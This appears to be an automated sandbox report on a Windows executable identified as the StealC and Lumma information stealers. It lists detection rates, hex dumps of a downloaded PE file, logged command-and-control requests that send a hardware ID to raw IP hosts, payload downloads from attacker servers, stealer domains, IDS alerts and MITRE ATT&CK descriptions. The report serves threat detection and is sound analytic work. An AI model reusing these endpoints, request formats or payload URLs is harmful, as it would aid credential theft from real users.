79 6a 72 67 79 00 20 00 00 00 80 2b 00 00 04 00 00 00 46 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 06:16:04 GMTContent-Type: application/octet-streamContent-Length: 2907648Last-Modified: Mon, 23 Dec 2024 05:12:34 GMTConnection: keep-aliveETag: "6768f142-2c5e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 4f 00 00 04 00 00 9d b5 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 70 6b 6d 6a 6d 6d 76 74 00 c0 2a 00 00 c0 24 00 00 bc 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 70 73 68 62 79 6b 76 00 10 00 00 00 80 4f 00 00 04 00 00 00 38 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 4f 00 00 22 00 00 00 3c 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: 20yLTIU4mS.exe	Virustotal: Detection: 61%			Perma Link
Source: 20yLTIU4mS.exe	ReversingLabs: Detection: 60%

Source: C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe	Joe Sandbox ML: detected

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBFIIECBGCBGDHCAFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 41 30 33 43 46 32 33 46 31 35 33 32 35 36 34 35 30 37 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 46 49 49 45 43 42 47 43 42 47 44 48 43 41 46 43 2d 2d 0d 0a Data Ascii: ------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="hwid"C0A03CF23F153256450765------BAEBFIIECBGCBGDHCAFCContent-Disposition: form-data; name="build"stok------BAEBFIIECBGCBGDHCAFC--

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49727 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49733 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49739 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NWBLAAIJSOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12787Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RAPBR86S5DKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15035Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KWITJQ0XB4J4ERHUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20549Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K4KZ2OOP7EEDO4E0F5PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1260Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RMQGZKRUP0I894JTU5IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569234Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 20yLTIU4mS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ARULVP7S24STX85EO46I8EXOL.exe.log

C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe

C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Windows Analysis Report
20yLTIU4mS.exe

Function 04BC15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 004AB0AC Relevance: 4.6, APIs: 3, Instructions: 88
registryCOMMON

Function 04BC15C4 Relevance: 1.8, APIs: 1, Instructions: 304
COMMON

Function 0049DF99 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 0049DE68 Relevance: 1.6, APIs: 1, Instructions: 95
libraryCOMMON

Function 04BC0D42 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 04BC0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 04BC1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Function 04BC1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 04BC1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Function 04BC1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 004ABFE6 Relevance: 1.5, APIs: 1, Instructions: 36
libraryCOMMON

Function 0031E6F5 Relevance: 1.3, APIs: 1, Instructions: 50
memoryCOMMON

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
